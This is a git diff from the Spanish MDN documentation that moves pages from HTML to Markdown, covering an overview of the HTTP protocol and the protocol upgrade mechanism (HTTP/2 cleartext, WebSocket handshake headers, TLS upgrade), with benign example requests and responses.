Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las personan que empieza a trabajar con él.

- -

HTTP es extensible

- -

Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse, sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras de HTTP.

- -

HTTP es un protocolo con sesiones, pero sin estados

- -

HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de "cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de comunicación.

- -

HTTP y conexiones

- -

Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo sustenta mantenga una conexión continua entre los participantes en la comunicación, solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP, no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a conexión, aunque una conexión continua no es necesaria siempre.

- -

En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto sería más eficiente si se mandaran varios mensajes.

- -

Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el 'pipelining' y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del protocolo HTTP/2 fue más allá y usa multiplexación de mensajes sobre un única conexión, siendo así una comunicación más eficiente.

- -

Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado con QUIC, que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y eficiencia de la comunicación.

- -

¿Qué se puede controlar con HTTP?

- -

La característica del protocolo HTTP de ser ampliable, ha permitido que durante su desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web: caché o métodos de identificación o autentificación fueron temas que se abordaron pronto en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en los años de la década de 2010.

- -

Se presenta a continuación una lista con los elementos que se pueden controlar con el protocolo HTTP:

- -
    -
  • Cache
    - El como se almacenan los documentos en la caché, puede ser especificado por HTTP. El servidor puede indicar a los proxies y clientes, que quiere almacenar y durante cuanto tiempo. Aunque el cliente, también puede indicar a los proxies de caché intermedios que ignoren el documento almacenado.
    • -
  • Flexibilidad del requisito de origen
    - Para prevenir invasiones de la privacidad de los usuarios, los navegadores Web, solamente permiten a páginas del mismo origen, compartir la información o datos. Esto es una complicación para el servidor, asi que mediante cabeceras HTTP, se puede flexibilizar o relajar esta división entre cliente y servidor
    • -
  • Autentificación
    - Hay páginas Web, que pueden estar protegidas, de manera que solo los usuarios autorizados puedan acceder. HTTP provee de servicios básicos de autentificación, por ejemplo mediante el uso de cabeceras como: {{HTTPHeader("WWW-Authenticate")}}, o estableciendo una sesión especifica mediante el uso de HTTP cookies.
    • -
  • Proxies y tunneling
    - Servidores y/o clientes pueden estar en intranets y esconder así su verdadera dirección IP a otros. Las peticiones HTTP utilizan los proxies para acceder a ellos. Pero no todos los proxies son HTTP proxies. El protocolo SOCKS, por ejemplo, opera a un nivel más bajo. Otros protocolos, como el FTP, pueden ser servidos mediante estos proxies.
    • -
  • Sesiones
    - El uso de HTTP cookies permite relacionar peticiones con el estado del servidor. Esto define las sesiones, a pesar de que por definición el protocolo HTTP es un protocolo sin estado. Esto es muy útil no sólo para aplicaciones de comercio electrónico, sino también para cualquier sitio que permita configuración al usuario.
    • -
- -

Flujo de HTTP

- -

Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a través de un proxy intermedio, realiza los siguientes pasos:

- -
    -
  1. Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias, y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una existente, o abrir varias a la vez hacia el servidor.
    2. -
  2. Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el principio de operación es el mismo. - 
    GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
    -
    3. -
  3. Leer la respuesta enviada por el servidor: - 
    HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    -
    4. -
  4. Cierre o reuso de la conexión para futuras peticiones.
    5. -
- -

Si está activado el HTTP pipelining, varias peticiones pueden enviarse sin tener que esperar que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar en las redes de computadores actuales, donde se mezclan software antiguos y modernos. Así que el HTTP pipelining ha sido substituido en HTTP/2 por el multiplexado de varias peticiones en una sola trama

- -

Mensajes HTTP

- -

En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes HTTP/2 en el formato de HTTP/1.1.

- -

Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio formato.

- -

Peticiones

- -

Un ejemplo de petición HTTP:

- -

A basic HTTP request

- -

Una petición de HTTP, está formado por los siguientes campos:

- -
    -
  • Un método HTTP, normalmente pueden ser un verbo, como: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} o un nombre como: {{HTTPMethod("OPTIONS")}} o {{HTTPMethod("HEAD")}}, que defina la operación que el cliente quiera realizar. El objetivo de un cliente, suele ser una petición de recursos, usando GET, o presentar un valor de un formulario HTML, usando POST, aunque en otras ocasiones puede hacer otros tipos de peticiones.
    • -
  • La dirección del recurso pedido; la URL del recurso, sin los elementos obvios por el contexto, como pueden ser: sin el {{glossary("protocol","protocolo")}} (http://), el {{glossary("domain","dominio")}} (aquí developer.mozilla.org), o el {{glossary("port","puerto")}} TCP (aquí el 80).
    • -
  • La versión del protocolo HTTP.
    • -
  • Cabeceras HTTP opcionales, que pueden aportar información adicional a los servidores.
    • -
  • O un cuerpo de mensaje, en algún método, como puede ser POST, en el cual envía la información para el servidor.
    • -
- -

Respuestas

- -

Un ejemplo de repuesta:

- -

- -

Las respuestas están formadas por los siguentes campos:

- -
    -
  • La versión del protocolo HTTP que están usando.
    • -
  • Un código de estado, indicando si la petición ha sido exitosa, o no, y debido a que.
    • -
  • Un mensaje de estado, una breve descripción del código de estado.
    • -
  • Cabeceras HTTP, como las de las peticiones.
    • -
  • Opcionalmente, el recurso que se ha pedido.
    • -
- -

Conclusión

- -

El protocólo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor, junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las nuevas y futuras aplicaciones en Internet.

- -

Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y puede ser fácilmente estudiado e investigado con un simple monitor de mensajes HTTP.

diff --git a/files/es/web/http/overview/index.md b/files/es/web/http/overview/index.md new file mode 100644 index 00000000000000..ff59ca29a646aa --- /dev/null +++ b/files/es/web/http/overview/index.md @@ -0,0 +1,168 @@ +--- +title: Generalidades del protocolo HTTP +slug: Web/HTTP/Overview +tags: + - HTML + - HTTP + - Mecánica Web + - Visión general +translation_of: Web/HTTP/Overview +--- +{{HTTPSidebar}} + +HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el nombre de un protocolo el cual nos permite realizar una petición de datos y recursos, como pueden ser documentos {{glossary("HTML")}}. Es la base de cualquier intercambio de datos en la Web, y un protocolo de estructura cliente-servidor, esto quiere decir que una petición de datos es iniciada por el elemento que recibirá los datos (el cliente), normalmente un navegador Web. Así, una página web completa resulta de la unión de distintos sub-documentos recibidos, como, por ejemplo: un documento que especifique el estilo de maquetación de la página web ({{glossary("CSS")}}), el texto, las imágenes, vídeos, scripts, etc... + +![A Web document is the composition of different resources](https://mdn.mozillademos.org/files/13677/Fetching_a_page.png) + +Clientes y servidores se comunican intercambiando mensajes individuales (en contraposición a las comunicaciones que utilizan flujos continuos de datos). Los mensajes que envía el cliente, normalmente un navegador Web, se llaman _peticiones_, y los mensajes enviados por el servidor se llaman _respuestas_. + +![HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.](https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png)Diseñado a principios de la década de 1990, {{glossary("HTTP")}} es un protocolo ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce como un protocolo de la capa de aplicación, y se transmite sobre el protocolo {{glossary("TCP")}}, o el protocolo encriptado {{glossary("TLS")}}, aunque teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que es un protocolo capaz de ampliarse, se usa no solo para transmitir documentos de hipertexto ({{glossary("HTML")}}), si no que además, se usa para transmitir imágenes o vídeos, o enviar datos o contenido a los servidores, como en el caso de los formularios de datos. {{glossary("HTTP")}} puede incluso ser utilizado para transmitir partes de documentos, y actualizar páginas Web en el acto. + +## Arquitectura de los sistemas basados en HTTP + +{{glossary("HTTP")}} es un protocolo basado en el principio de cliente-servidor: las peticiones son enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir datos de su estructura y contenido para uso de un buscador de Internet. + +Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre cada _petición_ y _respuesta_, hay varios intermediarios, normalmente denominados {{glossary("Proxy_server", "proxies")}}, los cuales realizan distintas funciones, como: gateways o {{glossary("Cache", "caches")}}. + +![Client server chain](https://mdn.mozillademos.org/files/13679/Client-server-chain.png) + +En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona su petición: hay otros tipos de dispositivos: como _routers_, _modems_ ... Es gracias a la arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y al servidor, ya que {{glossary("HTTP")}} se apoya en los protocolos de red y transporte. {{glossary("HTTP")}} es un protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición del protocolo {{glossary("HTTP")}} . + +### Cliente: el agente del usuario + +El agente del usuario, es cualquier herramienta que actué en representación del usuario. Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay excepciones, como el caso de programas específicamente usados por desarrolladores para desarrollar y depurar sus aplicaciones. + +El navegador es **siempre** el que inicia una comunicación (petición), y el servidor nunca la comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales). + +Para poder mostrar una página Web, el navegador envía una petición de documento {{glossary("HTML")}} al servidor. Entonces procesa este documento, y envía más peticiones para solicitar scripts, hojas de estilo ({{glossary("CSS")}}), y otros datos que necesite (normalmente vídeos y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la página Web en consecuencia. + +Una página Web, es un documento de hipertexto ({{glossary("HTTP")}}), luego habrá partes del texto en la página que puedan ser enlaces ({{glossary("link","links")}}) que pueden ser activados (normalmente al hacer click sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al usuario la página Web que desea. + +### El servidor Web + +Al otro lado del canal de comunicación, está el servidor, el cual _"sirve"_ los datos que ha pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u otros programas, que gestionan otros computadores (como cache, bases de datos, servidores de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido. + +Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1 y {{HTTPHeader("Host")}} , pueden incluso compartir la misma dirección de IP. + +### Proxies + +Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de transporte, capa de red o capa física, siendo así transparentes para la capa de comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones que pasan por ellos), y realizan varias funciones: + +- caching (la caché puede ser pública o privada, como la caché de un navegador) +- filtrado (como un anti-virus, control parental, ...) +- balanceo de carga de peticiones (para permitir a varios servidores responder a la carga total de peticiones que reciben) +- autentificación (para el control al acceso de recursos y datos) +- registro de eventos (para tener un histórico de los eventos que se producen) + +## Características clave del protocolo HTTP + +### HTTP es sencillo + +Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las personan que empieza a trabajar con él. + +### HTTP es extensible + +Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse, sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras de HTTP. + +### HTTP es un protocolo con sesiones, pero sin estados + +HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de "cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de comunicación. + +### HTTP y conexiones + +Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo sustenta mantenga una conexión continua entre los participantes en la comunicación, solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP, no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a conexión, aunque una conexión continua no es necesaria siempre. + +En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto sería más eficiente si se mandaran varios mensajes. + +Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el 'pipelining' y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del protocolo HTTP/2 fue más allá y usa multiplexación de mensajes sobre un única conexión, siendo así una comunicación más eficiente. + +Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado con [QUIC](https://en.wikipedia.org/wiki/QUIC), que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y eficiencia de la comunicación. + +## ¿Qué se puede controlar con HTTP? + +La característica del protocolo HTTP de ser ampliable, ha permitido que durante su desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web: caché o métodos de identificación o autentificación fueron temas que se abordaron pronto en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en los años de la década de 2010. + +Se presenta a continuación una lista con los elementos que se pueden controlar con el protocolo HTTP: + +- _[Cache](/es/docs/Web/HTTP/Caching)_ + El como se almacenan los documentos en la caché, puede ser especificado por HTTP. El servidor puede indicar a los proxies y clientes, que quiere almacenar y durante cuanto tiempo. Aunque el cliente, también puede indicar a los proxies de caché intermedios que ignoren el documento almacenado. +- _Flexibilidad del requisito de origen_ + Para prevenir invasiones de la privacidad de los usuarios, los navegadores Web, solamente permiten a páginas del mismo origen, compartir la información o datos. Esto es una complicación para el servidor, asi que mediante cabeceras HTTP, se puede flexibilizar o relajar esta división entre cliente y servidor +- _Autentificación_ + Hay páginas Web, que pueden estar protegidas, de manera que solo los usuarios autorizados puedan acceder. HTTP provee de servicios básicos de autentificación, por ejemplo mediante el uso de cabeceras como: {{HTTPHeader("WWW-Authenticate")}}, o estableciendo una sesión especifica mediante el uso de [HTTP cookies](/es/docs/Web/HTTP/Cookies). +- _[Proxies y tunneling](/es/docs/Web/HTTP/Proxy_servers_and_tunneling)_ + Servidores y/o clientes pueden estar en intranets y esconder así su verdadera dirección IP a otros. Las peticiones HTTP utilizan los proxies para acceder a ellos. Pero no todos los proxies son HTTP proxies. El protocolo SOCKS, por ejemplo, opera a un nivel más bajo. Otros protocolos, como el FTP, pueden ser servidos mediante estos proxies. +- _Sesiones_ + El uso de [HTTP cookies](/es/docs/Web/HTTP/Cookies) permite relacionar peticiones con el estado del servidor. Esto define las sesiones, a pesar de que por definición el protocolo HTTP es un protocolo sin estado. Esto es muy útil no sólo para aplicaciones de comercio electrónico, sino también para cualquier sitio que permita configuración al usuario. + +## Flujo de HTTP + +Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a través de un proxy intermedio, realiza los siguientes pasos: + +1. Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias, y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una existente, o abrir varias a la vez hacia el servidor. +2. Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el principio de operación es el mismo. + + ```html + GET / HTTP/1.1 + Host: developer.mozilla.org + Accept-Language: fr + ``` + +3. Leer la respuesta enviada por el servidor: + + ```html + HTTP/1.1 200 OK + Date: Sat, 09 Oct 2010 14:28:02 GMT + Server: Apache + Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT + ETag: "51142bc1-7449-479b075b2891b" + Accept-Ranges: bytes + Content-Length: 29769 + Content-Type: text/html + + {{HTTPSidebar}} - -

El protocolo HTTP posee un mecanismo especifico para permitir que una conexión de comunicación ya establecida, pueda actualizar su protocolo a un nuevo protocolo, incluso si es incompatible. Este documento muestra este mecanismo y presenta ejemplos de posibles escenarios en los que se puede usar.

- -

Este mecanismo, siempre es iniciado por el cliente (con la única excepción de que el servidor use: requerida actualización a TLS), y el servidor puede aceptar o rechazar el cambio al nuevo protocolo. Esto hace posible comenzar una conexión usando un protocolo de uso común, como puede ser HTTP/1.1, y posteriormente pedir un cambio de protocolo a HTTP/2.0 o incluso WebSockets.

- -

Acuerdo de conexión (handshake)

- -

Las actualizaciones del protocolo de comunicación son siempre iniciadas por el cliente; no hay un mecanismo establecido para que el servidor pida un cambio de protocolo. Cuando el cliente desea una actualización a un nuevo protocolo, lo hace mandando una petición normal al servidor con cualquier método ({{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, etc.). La petición ha de configurarse de manera especial, para que incluya en ella, la petición de actualización del protocolo.

- -

Específicamente la petición ha de incluir las dos siguientes cabeceras:

- -
-
Connection: Upgrade
-
La cabecera de conexión (Connection) ha de tener el valor "Upgrade", para indicar que se está pidiendo una actualización del protocolo.
-
Upgrade: protocols
-
La cabecera de actualización (Upgrade) indica los protocolos deseados, en orden de preferencia, separados por comas.
-
- -

Puede que sean necesarias otras cabeceras, dependiendo del protocolo que se pida.; por ejemplo: las actualizaciones a WebSocket necesitan cabeceras adicionales para definir la configuración de la conexión, así como para detalles de la seguridad. Para más detalles, lea la sección: Upgrading to a WebSocket connection.

- -

El servidor, puede negarse a la actualización en este caso. Y este simplemente ignora la cabecera de actualización ("Upgrade") y responde con un estado normal, ( "200 OK" si todo es correcto, o 30x si quiere hacer una redirección, o 40x ó 50x si no puede responder con el recurso requerido) — O puede aceptar la actualización del protocolo de comunicación. En este caso, responde con un código "101 Switching Protocols" y con una cabecera Upgrade que indica el protocolo elegido.

- -

Justo después de enviar el código de estado "101 Switching Protocols" se procederá a realizar el acuerdo de conexión (corresponde con el termino: 'handshake' en inglés). Si el nuevo protocolo lo necesitase, el servidor, enviaría una la respuesta a la petición inicial (la que contenía la cabecera de "Upgrade" ) , de acuerdo a las reglas del protocolo.

- -

El código de estado 101

- -

El código de estado {{HTTPStatus(101)}} se manda en respuesta a una petición que contenga la cabecera de "Upgrade" para indicar que el emisor de la petición desea actualizar el protocolo de comunicación. Si se responde con el código de estado "101 Switching Protocols", se han de incluir también las cabeceras Connection y Upgrade para definir el protocolo elegido. Más adelante en el texto se dan más detalles del funcionamiento de este mecanismo y ejemplos.

- -

Se puede utilizar el mecanismo de actualización del protocolo para pasar de una conexión en HTTP/1.1 a una conexión con HTTP/2, pero no se permite cambiar el protocolo en el otro sentido. De hecho, el código de estado "101 Switching Protocols", no está incluido en HTTP/2, ya que HTTP/2 no posee el mecanismo de actualización de protocolo.

- -

Usos frecuentes del mecanismo de actualización de protocolo

- -

A continuación se presentan los casos más frecuentes del mecanismo de actualización de protocolo, mediante el uso de la cabecera "Upgrade".

- -

Actualización a una conexión con HTTP/2

- -

El procedimiento estándar, es iniciar una conexión usando HTTP/1.1, debido a su amplio uso. Y a continuación, hacer una petición de actualización de protocolo, a HTTP/2. De esta manera, se tiene una conexión de comunicaciones, incluso si el servidor no soporta protocolo HTTP/2. De todas formas, únicamente es posible actualizar el protocolo, a una versión de HTTP/2 no segura (no encriptada). Esto se realiza indicando el protocolo deseado como: h2c, que indica "HTTP/2 Cleartext". Además es necesario que se defina en los campos de cabecera las propiedades HTTP2-Settings.

- -
GET / HTTP/1.1
-Host: destination.server.ext
-Connection: Upgrade, HTTP2-Settings
-Upgrade: h2c
-HTTP2-Settings: base64EncodedSettings
-
- -

Aquí, base64EncodedSettings es una propiedad de HTTP/2 "SETTINGS" del contenido de la trama que se expresa en formato base64url, seguido de un carácter de igual, "=", omitido aquí para que se pudiera incluir en esta cabecera expresada en texto.

- -
-

El formato base64url fno es el mismo que el formato estándar Base64. La única diferencia es que para asegurar que la cadena de caracteres es segura para que pueda usarse con URLs y nombres de archivos, los caracteres 62 y 63 en el alfabeto de este formato se cambian de : "+" y "/" a: "-" (menos) y "_" respectivamente.

-
- -

Si el servidor no puede hacer el cambio a HTTP/2, este responderá en HTTP/1 como si fuera una petición normal (con los códigos: "200 OK" si todo es correcto, o 30x si quiere hacer una redirección, o 40x ó 50x si no puede responder con el recurso pedido). Así una petición de una página que exista será respondida con "HTTP/1.1 200 OK" seguido del resto de la cabecera de la página. Si el servidor, si que puede cambiar al protocolo HTTP/2 , la respuesta será: "HTTP/1.1 101 Switching Protocols". A continuación, se presenta un ejemplo de una posible respuesta, a una petición de actualización a HTTP/2.

- -
HTTP/1.1 101 Switching Protocols
-Connection: Upgrade
-Upgrade: h2c
-
-[standard HTTP/2 server connection preface, etc.]
- -

A continuación de la línea en blanco, que sigue al final de la cabecera de respuesta; el servidor, indicará los parámetros ("SETTINGS") de la nueva comunicación con HTTP/2.

- -

Mejorar a una conexión WebSocket

- -

By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the WebSocket API, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:

- -
webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
- -

The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.

- -
-

You can also use the "wss://" URL scheme to open a secure WebSocket connection.

-
- -

If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:

- -
Connection: Upgrade
-Upgrade: websocket
- -

Cabeceras específicas de WebSocket

- -

The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.

- -

{{HTTPHeader("Sec-WebSocket-Extensions")}}

- -

Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one Sec-WebSocket-Extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.

- -
Sec-WebSocket-Extensions: extensions
- -
-
extensions
-
A comma-separated list of extensions to request (or agree to support). These should be selected from the IANA WebSocket Extension Name Registry. Extensions which take parameters do so using semicolon delineation.
-
- -

For example:

- -
Sec-WebSocket-Extensions: superspeed, colormode; depth=16
- -

{{HTTPHeader("Sec-WebSocket-Key")}}

- -

Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."

- -

This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.

- -
Sec-WebSocket-Key: key
- -
-
key
-
The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.
-
- -

The server's response's Sec-WebSocket-Accept header will have a value computed based upon the specified key.

- -

{{HTTPHeader("Sec-WebSocket-Protocol")}}

- -

The Sec-WebSocket-Protocol header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.

- -
Sec-WebSocket-Protocol: subprotocols
- -
-
subprotocols
-
A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.
-
- -

{{HTTPHeader("Sec-WebSocket-Version")}}

- -
Encabezado de petición
- -

Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.

- -
Sec-WebSocket-Version: version
- -
-
version
-
The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.
-
- -
Encabezado de respuesta
- -

If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version header is included in the response.

- -
Sec-WebSocket-Version: supportedVersions
- -
-
supportedVersions
-
A comma-delineated list of the WebSocket protocol versions supported by the server.
-
- -

Cabeceras exclusivas de respuesta

- -

The response from the server may include these.

- -

{{HTTPHeader("Sec-WebSocket-Accept")}}

- -

Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.

- -
Sec-WebSocket-Accept: hash
- -
-
hash
-
If a Sec-WebSocket-Key header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then base64 encoded to obtain the value of this property.
-
- -

Mejora a HTTP sobre TLS iniciada por el cliente

- -

You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.

- -

Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token "TLS/1.0". If the switch is made successfully, the original request (which included Upgrade) is completed as normal, but on the TLS connection.

- -

The request to TLS can be made either optionally or mandatorily.

- -

Mejora opcional

- -

To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the Upgrade and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:

- -
GET http://destination.server.ext/secretpage.html HTTP/1.1
-Host: destination.server.ext
-Upgrade: TLS/1.0
-Connection: Upgrade
- -

If the server does not support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:

- -
HTTP/1.1 200 OK
-Date: Thu, 17 Aug 2017 21:07:44 GMT
-Server: Apache
-Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT
-Content-Type: text/html; charset=utf-8
